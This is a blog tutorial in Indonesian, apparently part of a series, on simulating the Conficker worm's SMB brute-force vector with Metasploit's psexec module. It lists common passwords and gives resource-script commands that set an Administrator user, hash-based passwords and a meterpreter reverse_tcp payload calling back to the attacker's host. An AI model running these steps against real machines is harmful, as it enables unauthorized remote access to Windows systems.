0x4 Brute_Forcing_SMB

windows_hash_password

References: Windows Hash Password

Conficker adalah worm yang memegang prinsip “try harder“. Maksudnya, worm ini tidak hanya mengandalkan satu attack vector saja untuk menaklukkan korbannya. Ia memiliki rencana lain bila korbannya memasang security patch pada mesinnya.

Attack vector yang kedua adalah melakukan brute force pada port 445.  Port yang juga menjadi target serangan dari attack vector yang pertama. Conficker memanfaatkan kebiasaan kebanyakan orang yang cenderung menggunakan password yang sama dan sederhana. Menurut TJ O’Connor (pakar cyber security dan penulis buku Violent Python) berikut ini  adalah beberapa profil password yang banyak digunakan oleh warga Amerika ketika conficker terjadi, yaitu:

  • aaa
  • academia
  • anything
  • coffee
  • computer
  • cookie
  • oracle
  • password
  • secret
  • super
  • unknown

Untuk memahami attack vector kedua tersebut melalui simulasi, maka kita akan menggunakan psexec module pada Metasploit Framework. Teknik ini disebut pass the hash dan menurut SANS Institue, merupakan teknik lama yang berusia belasan tahun dan hingga kini masih relevan digunakan oleh para malicious actor. Psexec sesungguhnya adalah tools yang berasal dari Sysinternal, sebuah utilities untuk system administrator yang dikembangkan oleh hacker legendaris, Mark Russinovich. Tools ini kemudian diintegrasikan ke Metasploit Framework.

Kita akan membuat sebuah fungsi pada script kita, yang bertugas melakukan brute force pada SMB service di port 445. Untuk itu fungsi ini membutuhkan input berupa daftar password yang umum digunakan dalam bentuk hash.

Fungsi tersebut akan berisi instruksi untuk membuat resource script untuk melakukan brute force attack terhadap port 445. Adapun berikut ini adalah langkah-langkah yang dilakukan untuk membuat resource script tersebut:

  1. Menggunakan psexec module pada metasploit, yaitu: use exploit/windows/smb/psexec.
  2. Skenario pada script ini adalah kebayakan orang membiarkan local admin sebagai default, yaitu: Administrator; set SMBUser ‘ + str(userName)
  3. Membaca wordlist dalam bentuk hash dari file, yaitu: set SMBPass ‘ + str(password)
  4. Memasang payload supaya setelah korban compromise akan menghubungi mesin attacker, yaitu: set payload windows/meterpreter/reverse_tcp
  5. Melakukan setting IP address dan port dari mesin attacker, yaitu: set LHOST ‘ + attackerHost   dan  set LPORT ‘ + str(attackerPort)

Dengan demikian function untuk brute forcing SMB pada script kita adalah sebagaimana gambar berikut ini:

Screen Shot 2016-03-08 at 7.25.42 AM

Kita akan testing dengan username: “Administrator”, adapun  wordlist yang digunakan dalam bentuk hash, adalah sebagaimana gambar berikut:

Screen Shot 2016-03-08 at 10.29.43 AM

Gambar berikut ini adalah resource script yang dihasilkan oleh script kita sebelum dieksekusi.

Screen Shot 2016-03-09 at 10.51.58 AM

Selanjutnya script akan melakukan eksekusi resource script tersebut, langkah pertama dengan melakukan pemilihan target terlebih dahulu (Phase – I) yang diikuti dengan melakukan Brute Forcing SMB pada port 445  sebagaimana gambar berikut ini:

Screen Shot 2016-03-09 at 9.45.32 AM

Screen Shot 2016-03-09 at 9.46.21 AM

Screen Shot 2016-03-09 at 9.46.44 AM

Adapun script tersebut dapat dilihat pada link sebagai berikut:

Script Conficker Brute Forcing SMB

Sedangkan artikel-artikel yang terkait pembahasan ini adalah:

<01> 0x0 Conficker Story

<02> 0x1 Target Selection

<03> 0x2 Exploit MS08_67 – Resources Script

<04> 0x3 Python – Metasploit: Mass Compromise